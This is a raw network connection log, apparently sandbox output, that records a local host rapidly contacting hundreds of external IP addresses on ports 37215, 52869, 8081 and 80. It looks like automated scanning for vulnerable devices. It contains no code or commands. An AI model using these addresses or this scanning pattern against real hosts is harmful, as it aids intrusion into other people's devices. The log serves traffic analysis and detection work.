Jul 20, 2024 23:10:40.661417961 CEST	37215	45884	157.106.18.30	192.168.2.15
Jul 20, 2024 23:10:40.661489010 CEST	37215	47154	41.123.206.73	192.168.2.15
Jul 20, 2024 23:10:40.661500931 CEST	37215	58767	197.100.184.126	192.168.2.15
Jul 20, 2024 23:10:40.661514997 CEST	37215	38834	172.191.63.12	192.168.2.15
Jul 20, 2024 23:10:40.661772013 CEST	37215	52726	157.145.75.170	192.168.2.15
Jul 20, 2024 23:10:40.662034988 CEST	37215	52366	157.221.114.39	192.168.2.15
Jul 20, 2024 23:10:40.662091970 CEST	37215	58767	92.44.188.187	192.168.2.15
Jul 20, 2024 23:10:40.662394047 CEST	58767	37215	192.168.2.15	41.27.9.58
Jul 20, 2024 23:10:40.662394047 CEST	58767	37215	192.168.2.15	197.218.107.66
Jul 20, 2024 23:10:40.662395000 CEST	58767	37215	192.168.2.15	157.122.165.127
Jul 20, 2024 23:10:40.662395000 CEST	58767	37215	192.168.2.15	141.79.176.187
Jul 20, 2024 23:10:40.662395000 CEST	58767	37215	192.168.2.15	18.57.98.31
Jul 20, 2024 23:10:40.662395000 CEST	58767	37215	192.168.2.15	197.10.120.55
Jul 20, 2024 23:10:40.662395000 CEST	58767	37215	192.168.2.15	201.135.8.30
Jul 20, 2024 23:10:40.662395000 CEST	58767	37215	192.168.2.15	41.67.87.28
Jul 20, 2024 23:10:40.662519932 CEST	54186	37215	192.168.2.15	41.21.7.132
Jul 20, 2024 23:10:40.662519932 CEST	57238	37215	192.168.2.15	41.152.10.195
Jul 20, 2024 23:10:40.662519932 CEST	48602	37215	192.168.2.15	157.131.188.191
Jul 20, 2024 23:10:40.662519932 CEST	58767	37215	192.168.2.15	197.141.80.64
Jul 20, 2024 23:10:40.662519932 CEST	58767	37215	192.168.2.15	157.251.184.233
Jul 20, 2024 23:10:40.662519932 CEST	58767	37215	192.168.2.15	31.175.193.56
Jul 20, 2024 23:10:40.662519932 CEST	58767	37215	192.168.2.15	157.221.156.231
Jul 20, 2024 23:10:40.662519932 CEST	58767	37215	192.168.2.15	197.185.91.102
Jul 20, 2024 23:10:40.662523985 CEST	37215	55578	14.66.203.138	192.168.2.15
Jul 20, 2024 23:10:40.662669897 CEST	58767	37215	192.168.2.15	157.91.148.53
Jul 20, 2024 23:10:40.662669897 CEST	58767	37215	192.168.2.15	109.223.47.42
Jul 20, 2024 23:10:40.662669897 CEST	58767	37215	192.168.2.15	197.154.203.233
Jul 20, 2024 23:10:40.662669897 CEST	58767	37215	192.168.2.15	197.117.3.182
Jul 20, 2024 23:10:40.662669897 CEST	58767	37215	192.168.2.15	157.206.105.136
Jul 20, 2024 23:10:40.662669897 CEST	58767	37215	192.168.2.15	157.119.224.103
Jul 20, 2024 23:10:40.662671089 CEST	58767	37215	192.168.2.15	83.200.83.92
Jul 20, 2024 23:10:40.662671089 CEST	58767	37215	192.168.2.15	207.219.56.164
Jul 20, 2024 23:10:40.663273096 CEST	58767	37215	192.168.2.15	178.151.190.240
Jul 20, 2024 23:10:40.663273096 CEST	58767	37215	192.168.2.15	157.87.201.136
Jul 20, 2024 23:10:40.663273096 CEST	58767	37215	192.168.2.15	197.167.3.144
Jul 20, 2024 23:10:40.663273096 CEST	58767	37215	192.168.2.15	41.36.132.118
Jul 20, 2024 23:10:40.663273096 CEST	58767	37215	192.168.2.15	41.30.159.221
Jul 20, 2024 23:10:40.663273096 CEST	58767	37215	192.168.2.15	197.181.122.203
Jul 20, 2024 23:10:40.663273096 CEST	58767	37215	192.168.2.15	157.144.129.13
Jul 20, 2024 23:10:40.663273096 CEST	58767	37215	192.168.2.15	197.77.128.68
Jul 20, 2024 23:10:40.663273096 CEST	37215	49330	164.17.49.215	192.168.2.15
Jul 20, 2024 23:10:40.663304090 CEST	37215	58767	197.249.89.221	192.168.2.15
Jul 20, 2024 23:10:40.663616896 CEST	37215	43080	133.236.123.161	192.168.2.15
Jul 20, 2024 23:10:40.663629055 CEST	37215	45480	39.147.126.15	192.168.2.15
Jul 20, 2024 23:10:40.664037943 CEST	42026	37215	192.168.2.15	197.241.179.83
Jul 20, 2024 23:10:40.664037943 CEST	58767	37215	192.168.2.15	157.234.79.175
Jul 20, 2024 23:10:40.664037943 CEST	58767	37215	192.168.2.15	68.91.193.135
Jul 20, 2024 23:10:40.664037943 CEST	58767	37215	192.168.2.15	197.104.208.132
Jul 20, 2024 23:10:40.664037943 CEST	58767	37215	192.168.2.15	157.167.109.170
Jul 20, 2024 23:10:40.664037943 CEST	58767	37215	192.168.2.15	157.183.11.184
Jul 20, 2024 23:10:40.664037943 CEST	58767	37215	192.168.2.15	157.206.206.167
Jul 20, 2024 23:10:40.664037943 CEST	58767	37215	192.168.2.15	157.168.3.223
Jul 20, 2024 23:10:40.664262056 CEST	37215	33750	157.88.156.88	192.168.2.15
Jul 20, 2024 23:10:40.664422989 CEST	37215	58767	197.120.47.149	192.168.2.15
Jul 20, 2024 23:10:40.665895939 CEST	37215	40044	157.89.121.43	192.168.2.15
Jul 20, 2024 23:10:40.665941000 CEST	37215	43508	41.29.68.15	192.168.2.15
Jul 20, 2024 23:10:40.665954113 CEST	37215	56918	117.238.162.201	192.168.2.15
Jul 20, 2024 23:10:40.665967941 CEST	37215	37088	41.62.170.7	192.168.2.15
Jul 20, 2024 23:10:40.666482925 CEST	37215	59932	41.230.50.79	192.168.2.15
Jul 20, 2024 23:10:40.666685104 CEST	37215	34744	41.160.166.27	192.168.2.15
Jul 20, 2024 23:10:40.666779995 CEST	37215	36836	115.19.25.169	192.168.2.15
Jul 20, 2024 23:10:40.666940928 CEST	37215	34744	41.238.31.136	192.168.2.15
Jul 20, 2024 23:10:40.667320967 CEST	58767	37215	192.168.2.15	41.81.78.42
Jul 20, 2024 23:10:40.667320967 CEST	58767	37215	192.168.2.15	100.131.155.71
Jul 20, 2024 23:10:40.667320967 CEST	58767	37215	192.168.2.15	157.18.132.195
Jul 20, 2024 23:10:40.667320967 CEST	58767	37215	192.168.2.15	197.4.99.70
Jul 20, 2024 23:10:40.667320967 CEST	58767	37215	192.168.2.15	41.34.214.1
Jul 20, 2024 23:10:40.667320967 CEST	58767	37215	192.168.2.15	157.226.88.212
Jul 20, 2024 23:10:40.667320967 CEST	58767	37215	192.168.2.15	197.89.134.2
Jul 20, 2024 23:10:40.667320967 CEST	58767	37215	192.168.2.15	197.8.92.185
Jul 20, 2024 23:10:40.667340994 CEST	37215	58524	157.61.187.214	192.168.2.15
Jul 20, 2024 23:10:40.668118954 CEST	37215	54186	41.21.7.132	192.168.2.15
Jul 20, 2024 23:10:40.668133020 CEST	37215	43890	157.182.237.139	192.168.2.15
Jul 20, 2024 23:10:40.668351889 CEST	37215	57238	41.152.10.195	192.168.2.15
Jul 20, 2024 23:10:40.668679953 CEST	37215	48602	157.131.188.191	192.168.2.15
Jul 20, 2024 23:10:40.668693066 CEST	58767	37215	192.168.2.15	157.239.43.174
Jul 20, 2024 23:10:40.668693066 CEST	58767	37215	192.168.2.15	41.166.211.228
Jul 20, 2024 23:10:40.668693066 CEST	58767	37215	192.168.2.15	46.85.247.68
Jul 20, 2024 23:10:40.668693066 CEST	58767	37215	192.168.2.15	197.126.18.168
Jul 20, 2024 23:10:40.668693066 CEST	58767	37215	192.168.2.15	41.57.221.248
Jul 20, 2024 23:10:40.668693066 CEST	58767	37215	192.168.2.15	157.24.244.61
Jul 20, 2024 23:10:40.668693066 CEST	58767	37215	192.168.2.15	77.45.128.145
Jul 20, 2024 23:10:40.668693066 CEST	58767	37215	192.168.2.15	41.185.22.151
Jul 20, 2024 23:10:40.668870926 CEST	37215	48632	158.185.201.45	192.168.2.15
Jul 20, 2024 23:10:40.669219017 CEST	37215	42026	197.241.179.83	192.168.2.15
Jul 20, 2024 23:10:40.669265032 CEST	58767	37215	192.168.2.15	212.219.251.156
Jul 20, 2024 23:10:40.669265032 CEST	58767	37215	192.168.2.15	157.59.86.95
Jul 20, 2024 23:10:40.669265032 CEST	58767	37215	192.168.2.15	157.147.34.23
Jul 20, 2024 23:10:40.669265032 CEST	58767	37215	192.168.2.15	34.6.52.231
Jul 20, 2024 23:10:40.669265032 CEST	58767	37215	192.168.2.15	197.115.192.209
Jul 20, 2024 23:10:40.669265032 CEST	58767	37215	192.168.2.15	63.125.89.15
Jul 20, 2024 23:10:40.669265032 CEST	58767	37215	192.168.2.15	197.108.156.198
Jul 20, 2024 23:10:40.669265032 CEST	58767	37215	192.168.2.15	197.194.124.27
Jul 20, 2024 23:10:40.671381950 CEST	58767	37215	192.168.2.15	157.31.186.62
Jul 20, 2024 23:10:40.671381950 CEST	58767	37215	192.168.2.15	41.86.2.56
Jul 20, 2024 23:10:40.671381950 CEST	58767	37215	192.168.2.15	157.190.168.108
Jul 20, 2024 23:10:40.671381950 CEST	58767	37215	192.168.2.15	65.246.66.79
Jul 20, 2024 23:10:40.671381950 CEST	58767	37215	192.168.2.15	41.64.175.189
Jul 20, 2024 23:10:40.671381950 CEST	58767	37215	192.168.2.15	41.112.219.106
Jul 20, 2024 23:10:40.671381950 CEST	58767	37215	192.168.2.15	157.111.167.228
Jul 20, 2024 23:10:40.671381950 CEST	58767	37215	192.168.2.15	157.22.166.123
Jul 20, 2024 23:10:40.671583891 CEST	58767	37215	192.168.2.15	157.252.36.217
Jul 20, 2024 23:10:40.671583891 CEST	58767	37215	192.168.2.15	197.49.200.251
Jul 20, 2024 23:10:40.671583891 CEST	58767	37215	192.168.2.15	197.111.82.33
Jul 20, 2024 23:10:40.671583891 CEST	58767	37215	192.168.2.15	41.82.184.104
Jul 20, 2024 23:10:40.671583891 CEST	58767	37215	192.168.2.15	197.6.61.54
Jul 20, 2024 23:10:40.671583891 CEST	58767	37215	192.168.2.15	41.216.252.34
Jul 20, 2024 23:10:40.671583891 CEST	58767	37215	192.168.2.15	138.128.103.84
Jul 20, 2024 23:10:40.671583891 CEST	58767	37215	192.168.2.15	41.165.2.246
Jul 20, 2024 23:10:40.672652960 CEST	58767	37215	192.168.2.15	197.41.11.247
Jul 20, 2024 23:10:40.672652960 CEST	58767	37215	192.168.2.15	197.129.120.216
Jul 20, 2024 23:10:40.672652960 CEST	58767	37215	192.168.2.15	157.55.118.235
Jul 20, 2024 23:10:40.672652960 CEST	58767	37215	192.168.2.15	41.69.44.134
Jul 20, 2024 23:10:40.672652960 CEST	58767	37215	192.168.2.15	197.194.143.112
Jul 20, 2024 23:10:40.672652960 CEST	58767	37215	192.168.2.15	197.204.52.71
Jul 20, 2024 23:10:40.672652960 CEST	58767	37215	192.168.2.15	122.72.16.198
Jul 20, 2024 23:10:40.672652960 CEST	58767	37215	192.168.2.15	41.36.192.103
Jul 20, 2024 23:10:40.674082994 CEST	58767	37215	192.168.2.15	64.75.22.24
Jul 20, 2024 23:10:40.674082994 CEST	58767	37215	192.168.2.15	41.82.134.11
Jul 20, 2024 23:10:40.674082994 CEST	58767	37215	192.168.2.15	157.56.23.3
Jul 20, 2024 23:10:40.674082994 CEST	58767	37215	192.168.2.15	8.54.74.209
Jul 20, 2024 23:10:40.675751925 CEST	58767	37215	192.168.2.15	41.104.211.49
Jul 20, 2024 23:10:40.675751925 CEST	58767	37215	192.168.2.15	197.174.153.88
Jul 20, 2024 23:10:40.675751925 CEST	58767	37215	192.168.2.15	157.124.152.142
Jul 20, 2024 23:10:40.675751925 CEST	58767	37215	192.168.2.15	41.126.48.213
Jul 20, 2024 23:10:40.675751925 CEST	58767	37215	192.168.2.15	51.252.148.88
Jul 20, 2024 23:10:40.675751925 CEST	58767	37215	192.168.2.15	74.208.48.243
Jul 20, 2024 23:10:40.675751925 CEST	58767	37215	192.168.2.15	197.161.49.75
Jul 20, 2024 23:10:40.675751925 CEST	58767	37215	192.168.2.15	197.14.173.86
Jul 20, 2024 23:10:40.676559925 CEST	58767	37215	192.168.2.15	157.16.220.141
Jul 20, 2024 23:10:40.676559925 CEST	58767	37215	192.168.2.15	101.192.211.186
Jul 20, 2024 23:10:40.676559925 CEST	58767	37215	192.168.2.15	31.117.210.59
Jul 20, 2024 23:10:40.676559925 CEST	58767	37215	192.168.2.15	41.164.37.122
Jul 20, 2024 23:10:40.676559925 CEST	58767	37215	192.168.2.15	41.28.182.30
Jul 20, 2024 23:10:40.676559925 CEST	46618	52869	192.168.2.15	1.160.86.11
Jul 20, 2024 23:10:40.676559925 CEST	58767	37215	192.168.2.15	211.127.214.18
Jul 20, 2024 23:10:40.676559925 CEST	58767	37215	192.168.2.15	157.225.109.57
Jul 20, 2024 23:10:40.676652908 CEST	58767	37215	192.168.2.15	160.10.188.118
Jul 20, 2024 23:10:40.676652908 CEST	58767	37215	192.168.2.15	41.177.173.161
Jul 20, 2024 23:10:40.676652908 CEST	58767	37215	192.168.2.15	154.241.171.56
Jul 20, 2024 23:10:40.676652908 CEST	58767	37215	192.168.2.15	197.130.109.106
Jul 20, 2024 23:10:40.676652908 CEST	58767	37215	192.168.2.15	41.132.167.88
Jul 20, 2024 23:10:40.676654100 CEST	58767	37215	192.168.2.15	76.19.242.199
Jul 20, 2024 23:10:40.676654100 CEST	58767	37215	192.168.2.15	197.112.33.221
Jul 20, 2024 23:10:40.676654100 CEST	58767	37215	192.168.2.15	197.26.202.125
Jul 20, 2024 23:10:40.678493977 CEST	46284	52869	192.168.2.15	166.169.25.66
Jul 20, 2024 23:10:40.679997921 CEST	51470	8081	192.168.2.15	220.85.17.7
Jul 20, 2024 23:10:40.679997921 CEST	51470	8081	192.168.2.15	220.85.17.7
Jul 20, 2024 23:10:40.680857897 CEST	58767	37215	192.168.2.15	41.70.136.110
Jul 20, 2024 23:10:40.680857897 CEST	58767	37215	192.168.2.15	157.147.176.235
Jul 20, 2024 23:10:40.680857897 CEST	58767	37215	192.168.2.15	157.198.70.4
Jul 20, 2024 23:10:40.680857897 CEST	58767	37215	192.168.2.15	41.155.102.58
Jul 20, 2024 23:10:40.680857897 CEST	58767	37215	192.168.2.15	148.62.116.243
Jul 20, 2024 23:10:40.680857897 CEST	58767	37215	192.168.2.15	41.104.210.20
Jul 20, 2024 23:10:40.681003094 CEST	58767	37215	192.168.2.15	197.162.237.45
Jul 20, 2024 23:10:40.681003094 CEST	58767	37215	192.168.2.15	157.154.95.95
Jul 20, 2024 23:10:40.681003094 CEST	58767	37215	192.168.2.15	197.108.166.247
Jul 20, 2024 23:10:40.681004047 CEST	58767	37215	192.168.2.15	41.149.118.233
Jul 20, 2024 23:10:40.681004047 CEST	58767	37215	192.168.2.15	41.176.42.114
Jul 20, 2024 23:10:40.681004047 CEST	58767	37215	192.168.2.15	197.181.234.52
Jul 20, 2024 23:10:40.681004047 CEST	58767	37215	192.168.2.15	41.65.62.180
Jul 20, 2024 23:10:40.681004047 CEST	58767	37215	192.168.2.15	157.91.41.148
Jul 20, 2024 23:10:40.683967113 CEST	58767	37215	192.168.2.15	157.64.111.183
Jul 20, 2024 23:10:40.683967113 CEST	58767	37215	192.168.2.15	157.187.185.250
Jul 20, 2024 23:10:40.683967113 CEST	58767	37215	192.168.2.15	197.162.13.188
Jul 20, 2024 23:10:40.683967113 CEST	58767	37215	192.168.2.15	157.94.1.30
Jul 20, 2024 23:10:40.683967113 CEST	58767	37215	192.168.2.15	220.214.243.66
Jul 20, 2024 23:10:40.683967113 CEST	57506	37215	192.168.2.15	131.14.103.148
Jul 20, 2024 23:10:40.684076071 CEST	52869	46284	166.169.25.66	192.168.2.15
Jul 20, 2024 23:10:40.684112072 CEST	58767	37215	192.168.2.15	197.78.121.178
Jul 20, 2024 23:10:40.684112072 CEST	58767	37215	192.168.2.15	129.231.79.94
Jul 20, 2024 23:10:40.684112072 CEST	58767	37215	192.168.2.15	41.56.40.229
Jul 20, 2024 23:10:40.684112072 CEST	36112	8081	192.168.2.15	76.56.5.73
Jul 20, 2024 23:10:40.684112072 CEST	36112	8081	192.168.2.15	76.56.5.73
Jul 20, 2024 23:10:40.684112072 CEST	49576	80	192.168.2.15	88.75.37.88
Jul 20, 2024 23:10:40.684118032 CEST	46284	52869	192.168.2.15	166.169.25.66
Jul 20, 2024 23:10:40.684401035 CEST	52348	8081	192.168.2.15	220.85.17.7
Jul 20, 2024 23:10:40.685283899 CEST	8081	51470	220.85.17.7	192.168.2.15
Jul 20, 2024 23:10:40.685802937 CEST	58767	37215	192.168.2.15	41.252.154.174
Jul 20, 2024 23:10:40.685802937 CEST	58767	37215	192.168.2.15	41.152.70.31
Jul 20, 2024 23:10:40.685802937 CEST	58767	37215	192.168.2.15	202.234.240.207
Jul 20, 2024 23:10:40.685802937 CEST	58767	37215	192.168.2.15	197.100.184.126
Jul 20, 2024 23:10:40.685802937 CEST	58767	37215	192.168.2.15	92.44.188.187
Jul 20, 2024 23:10:40.685802937 CEST	58767	37215	192.168.2.15	197.249.89.221
Jul 20, 2024 23:10:40.685802937 CEST	58767	37215	192.168.2.15	197.120.47.149
Jul 20, 2024 23:10:40.687139034 CEST	58767	37215	192.168.2.15	72.101.131.182
Jul 20, 2024 23:10:40.687139034 CEST	58767	37215	192.168.2.15	157.249.63.236
Jul 20, 2024 23:10:40.687139034 CEST	58767	37215	192.168.2.15	157.117.24.91
Jul 20, 2024 23:10:40.687139034 CEST	58767	37215	192.168.2.15	41.27.6.3
Jul 20, 2024 23:10:40.687139034 CEST	58767	37215	192.168.2.15	41.31.40.150
Jul 20, 2024 23:10:40.687139988 CEST	58767	37215	192.168.2.15	157.1.17.79
Jul 20, 2024 23:10:40.687139988 CEST	58767	37215	192.168.2.15	197.189.72.88
Jul 20, 2024 23:10:40.687139988 CEST	58767	37215	192.168.2.15	69.245.65.254
Jul 20, 2024 23:10:40.687493086 CEST	51326	8081	192.168.2.15	151.248.207.192
Jul 20, 2024 23:10:40.687800884 CEST	50552	80	192.168.2.15	88.75.37.88
Jul 20, 2024 23:10:40.687800884 CEST	60130	80	192.168.2.15	88.161.198.162
Jul 20, 2024 23:10:40.687800884 CEST	60130	80	192.168.2.15	88.161.198.162
Jul 20, 2024 23:10:40.688493013 CEST	52202	8081	192.168.2.15	151.248.207.192
Jul 20, 2024 23:10:40.688657045 CEST	51326	8081	192.168.2.15	151.248.207.192
Jul 20, 2024 23:10:40.689591885 CEST	32874	80	192.168.2.15	88.161.198.162
Jul 20, 2024 23:10:40.689591885 CEST	36706	80	192.168.2.15	88.25.45.56
Jul 20, 2024 23:10:40.689591885 CEST	36706	80	192.168.2.15	88.25.45.56
Jul 20, 2024 23:10:40.689591885 CEST	42922	52869	192.168.2.15	184.222.232.77
Jul 20, 2024 23:10:40.689668894 CEST	49576	80	192.168.2.15	88.75.37.88
Jul 20, 2024 23:10:40.689752102 CEST	8081	52348	220.85.17.7	192.168.2.15
Jul 20, 2024 23:10:40.689850092 CEST	52348	8081	192.168.2.15	220.85.17.7
Jul 20, 2024 23:10:40.690608978 CEST	37678	80	192.168.2.15	88.25.45.56
Jul 20, 2024 23:10:40.691699982 CEST	46766	37215	192.168.2.15	197.127.119.138
Jul 20, 2024 23:10:40.691737890 CEST	52964	8081	192.168.2.15	102.109.43.7
Jul 20, 2024 23:10:40.691737890 CEST	52964	8081	192.168.2.15	102.109.43.7
Jul 20, 2024 23:10:40.691864967 CEST	58767	37215	192.168.2.15	142.139.123.60
Jul 20, 2024 23:10:40.691864967 CEST	36990	8081	192.168.2.15	76.56.5.73
Jul 20, 2024 23:10:40.691864967 CEST	43324	37215	192.168.2.15	41.28.65.67
Jul 20, 2024 23:10:40.692214966 CEST	47866	80	192.168.2.15	88.203.133.168
Jul 20, 2024 23:10:40.692214966 CEST	47866	80	192.168.2.15	88.203.133.168
Jul 20, 2024 23:10:40.692823887 CEST	37215	57506	131.14.103.148	192.168.2.15
Jul 20, 2024 23:10:40.692867994 CEST	57506	37215	192.168.2.15	131.14.103.148
Jul 20, 2024 23:10:40.693041086 CEST	80	50552	88.75.37.88	192.168.2.15
Jul 20, 2024 23:10:40.693082094 CEST	50552	80	192.168.2.15	88.75.37.88
Jul 20, 2024 23:10:40.693126917 CEST	8081	36112	76.56.5.73	192.168.2.15
Jul 20, 2024 23:10:40.693522930 CEST	53838	8081	192.168.2.15	102.109.43.7
Jul 20, 2024 23:10:40.693557978 CEST	80	60130	88.161.198.162	192.168.2.15
Jul 20, 2024 23:10:40.693696022 CEST	8081	51326	151.248.207.192	192.168.2.15
Jul 20, 2024 23:10:40.694063902 CEST	8081	52202	151.248.207.192	192.168.2.15
Jul 20, 2024 23:10:40.694108963 CEST	52202	8081	192.168.2.15	151.248.207.192
Jul 20, 2024 23:10:40.694443941 CEST	48838	80	192.168.2.15	88.203.133.168
Jul 20, 2024 23:10:40.694454908 CEST	80	49576	88.75.37.88	192.168.2.15
Jul 20, 2024 23:10:40.694541931 CEST	60146	37215	192.168.2.15	41.247.243.177
Jul 20, 2024 23:10:40.694802046 CEST	80	32874	88.161.198.162	192.168.2.15
Jul 20, 2024 23:10:40.694889069 CEST	32874	80	192.168.2.15	88.161.198.162
Jul 20, 2024 23:10:40.695200920 CEST	57896	8081	192.168.2.15	1.192.176.226
Jul 20, 2024 23:10:40.695358992 CEST	57896	8081	192.168.2.15	1.192.176.226
Jul 20, 2024 23:10:40.695633888 CEST	80	36706	88.25.45.56	192.168.2.15
Jul 20, 2024 23:10:40.695977926 CEST	80	37678	88.25.45.56	192.168.2.15
Jul 20, 2024 23:10:40.695986986 CEST	41680	80	192.168.2.15	88.235.245.133
Jul 20, 2024 23:10:40.695986986 CEST	41680	80	192.168.2.15	88.235.245.133
Jul 20, 2024 23:10:40.696126938 CEST	58768	8081	192.168.2.15	1.192.176.226
Jul 20, 2024 23:10:40.696475029 CEST	48044	52869	192.168.2.15	166.150.32.219
Jul 20, 2024 23:10:40.696518898 CEST	52869	42922	184.222.232.77	192.168.2.15
Jul 20, 2024 23:10:40.696557999 CEST	42922	52869	192.168.2.15	184.222.232.77
Jul 20, 2024 23:10:40.696585894 CEST	37678	80	192.168.2.15	88.25.45.56
Jul 20, 2024 23:10:40.697088957 CEST	37215	46766	197.127.119.138	192.168.2.15
Jul 20, 2024 23:10:40.697128057 CEST	46766	37215	192.168.2.15	197.127.119.138
Jul 20, 2024 23:10:40.697257996 CEST	8081	52964	102.109.43.7	192.168.2.15
Jul 20, 2024 23:10:40.697494984 CEST	80	47866	88.203.133.168	192.168.2.15
Jul 20, 2024 23:10:40.697539091 CEST	8081	36990	76.56.5.73	192.168.2.15
Jul 20, 2024 23:10:40.697573900 CEST	36990	8081	192.168.2.15	76.56.5.73
Jul 20, 2024 23:10:40.697696924 CEST	37215	43324	41.28.65.67	192.168.2.15
Jul 20, 2024 23:10:40.697824001 CEST	42650	80	192.168.2.15	88.235.245.133
Jul 20, 2024 23:10:40.698008060 CEST	43324	37215	192.168.2.15	41.28.65.67
Jul 20, 2024 23:10:40.698402882 CEST	8081	53838	102.109.43.7	192.168.2.15
Jul 20, 2024 23:10:40.698504925 CEST	42372	8081	192.168.2.15	217.134.215.166
Jul 20, 2024 23:10:40.698504925 CEST	42372	8081	192.168.2.15	217.134.215.166
Jul 20, 2024 23:10:40.698504925 CEST	46468	37215	192.168.2.15	157.37.222.176
Jul 20, 2024 23:10:40.698504925 CEST	53838	8081	192.168.2.15	102.109.43.7
Jul 20, 2024 23:10:40.699501038 CEST	80	48838	88.203.133.168	192.168.2.15
Jul 20, 2024 23:10:40.699538946 CEST	48838	80	192.168.2.15	88.203.133.168
Jul 20, 2024 23:10:40.699561119 CEST	52718	80	192.168.2.15	88.125.105.239
Jul 20, 2024 23:10:40.699924946 CEST	52718	80	192.168.2.15	88.125.105.239
Jul 20, 2024 23:10:40.699924946 CEST	43244	8081	192.168.2.15	217.134.215.166
Jul 20, 2024 23:10:40.700263023 CEST	37215	60146	41.247.243.177	192.168.2.15
Jul 20, 2024 23:10:40.700297117 CEST	60146	37215	192.168.2.15	41.247.243.177
Jul 20, 2024 23:10:40.700534105 CEST	8081	57896	1.192.176.226	192.168.2.15
Jul 20, 2024 23:10:40.700932026 CEST	80	41680	88.235.245.133	192.168.2.15
Jul 20, 2024 23:10:40.701278925 CEST	8081	58768	1.192.176.226	192.168.2.15
Jul 20, 2024 23:10:40.701313972 CEST	58768	8081	192.168.2.15	1.192.176.226
Jul 20, 2024 23:10:40.701687098 CEST	53688	80	192.168.2.15	88.125.105.239
Jul 20, 2024 23:10:40.701716900 CEST	52869	48044	166.150.32.219	192.168.2.15
Jul 20, 2024 23:10:40.701752901 CEST	48044	52869	192.168.2.15	166.150.32.219
Jul 20, 2024 23:10:40.702183962 CEST	49052	8081	192.168.2.15	221.249.213.24
Jul 20, 2024 23:10:40.702183962 CEST	49052	8081	192.168.2.15	221.249.213.24
Jul 20, 2024 23:10:40.702903032 CEST	40428	37215	192.168.2.15	118.174.41.159
Jul 20, 2024 23:10:40.703171968 CEST	80	42650	88.235.245.133	192.168.2.15
Jul 20, 2024 23:10:40.703212976 CEST	42650	80	192.168.2.15	88.235.245.133
Jul 20, 2024 23:10:40.703367949 CEST	8081	42372	217.134.215.166	192.168.2.15
Jul 20, 2024 23:10:40.703423977 CEST	49920	8081	192.168.2.15	221.249.213.24
Jul 20, 2024 23:10:40.703584909 CEST	37215	46468	157.37.222.176	192.168.2.15
Jul 20, 2024 23:10:40.703613997 CEST	46468	37215	192.168.2.15	157.37.222.176
Jul 20, 2024 23:10:40.703944921 CEST	50818	80	192.168.2.15	88.81.127.213
Jul 20, 2024 23:10:40.703944921 CEST	50818	80	192.168.2.15	88.81.127.213
Jul 20, 2024 23:10:40.704158068 CEST	50864	52869	192.168.2.15	25.16.163.132
Jul 20, 2024 23:10:40.704749107 CEST	80	52718	88.125.105.239	192.168.2.15
Jul 20, 2024 23:10:40.704910994 CEST	8081	43244	217.134.215.166	192.168.2.15
Jul 20, 2024 23:10:40.704957008 CEST	43244	8081	192.168.2.15	217.134.215.166
Jul 20, 2024 23:10:40.705400944 CEST	37978	8081	192.168.2.15	124.101.153.157
Jul 20, 2024 23:10:40.705586910 CEST	37978	8081	192.168.2.15	124.101.153.157
Jul 20, 2024 23:10:40.706162930 CEST	51786	80	192.168.2.15	88.81.127.213
Jul 20, 2024 23:10:40.706562042 CEST	34358	37215	192.168.2.15	157.29.143.201
Jul 20, 2024 23:10:40.706851959 CEST	80	53688	88.125.105.239	192.168.2.15
Jul 20, 2024 23:10:40.706888914 CEST	53688	80	192.168.2.15	88.125.105.239
Jul 20, 2024 23:10:40.707190990 CEST	38846	8081	192.168.2.15	124.101.153.157
Jul 20, 2024 23:10:40.707700014 CEST	8081	49052	221.249.213.24	192.168.2.15
Jul 20, 2024 23:10:40.707807064 CEST	45130	80	192.168.2.15	88.159.165.167
Jul 20, 2024 23:10:40.707807064 CEST	45130	80	192.168.2.15	88.159.165.167
Jul 20, 2024 23:10:40.708043098 CEST	37215	40428	118.174.41.159	192.168.2.15
Jul 20, 2024 23:10:40.708077908 CEST	40428	37215	192.168.2.15	118.174.41.159
Jul 20, 2024 23:10:40.708888054 CEST	53418	8081	192.168.2.15	20.18.13.70
Jul 20, 2024 23:10:40.708888054 CEST	53418	8081	192.168.2.15	20.18.13.70
Jul 20, 2024 23:10:40.708988905 CEST	8081	49920	221.249.213.24	192.168.2.15
Jul 20, 2024 23:10:40.709144115 CEST	80	50818	88.81.127.213	192.168.2.15
Jul 20, 2024 23:10:40.709289074 CEST	49920	8081	192.168.2.15	221.249.213.24
Jul 20, 2024 23:10:40.709482908 CEST	52869	50864	25.16.163.132	192.168.2.15
Jul 20, 2024 23:10:40.709578037 CEST	50864	52869	192.168.2.15	25.16.163.132
Jul 20, 2024 23:10:40.709578037 CEST	46098	80	192.168.2.15	88.159.165.167
Jul 20, 2024 23:10:40.709866047 CEST	54282	8081	192.168.2.15	20.18.13.70
Jul 20, 2024 23:10:40.710290909 CEST	38830	52869	192.168.2.15	59.72.27.90
Jul 20, 2024 23:10:40.710453987 CEST	40522	37215	192.168.2.15	197.248.148.38
Jul 20, 2024 23:10:40.710709095 CEST	8081	37978	124.101.153.157	192.168.2.15
Jul 20, 2024 23:10:40.711335897 CEST	80	51786	88.81.127.213	192.168.2.15
Jul 20, 2024 23:10:40.711381912 CEST	51786	80	192.168.2.15	88.81.127.213
Jul 20, 2024 23:10:40.711664915 CEST	35698	80	192.168.2.15	88.239.113.189
Jul 20, 2024 23:10:40.711664915 CEST	35698	80	192.168.2.15	88.239.113.189
Jul 20, 2024 23:10:40.711819887 CEST	36512	8081	192.168.2.15	138.82.251.248
Jul 20, 2024 23:10:40.711985111 CEST	36512	8081	192.168.2.15	138.82.251.248
Jul 20, 2024 23:10:40.712177992 CEST	37215	34358	157.29.143.201	192.168.2.15
Jul 20, 2024 23:10:40.712212086 CEST	34358	37215	192.168.2.15	157.29.143.201
Jul 20, 2024 23:10:40.712285042 CEST	8081	38846	124.101.153.157	192.168.2.15
Jul 20, 2024 23:10:40.712325096 CEST	38846	8081	192.168.2.15	124.101.153.157
Jul 20, 2024 23:10:40.713455915 CEST	80	45130	88.159.165.167	192.168.2.15
Jul 20, 2024 23:10:40.713608027 CEST	36664	80	192.168.2.15	88.239.113.189
Jul 20, 2024 23:10:40.713759899 CEST	37376	8081	192.168.2.15	138.82.251.248
Jul 20, 2024 23:10:40.714240074 CEST	8081	53418	20.18.13.70	192.168.2.15
Jul 20, 2024 23:10:40.714574099 CEST	36266	37215	192.168.2.15	41.122.22.46
Jul 20, 2024 23:10:40.715080023 CEST	80	46098	88.159.165.167	192.168.2.15
Jul 20, 2024 23:10:40.715128899 CEST	46098	80	192.168.2.15	88.159.165.167
Jul 20, 2024 23:10:40.715184927 CEST	8081	54282	20.18.13.70	192.168.2.15
Jul 20, 2024 23:10:40.715224028 CEST	54282	8081	192.168.2.15	20.18.13.70
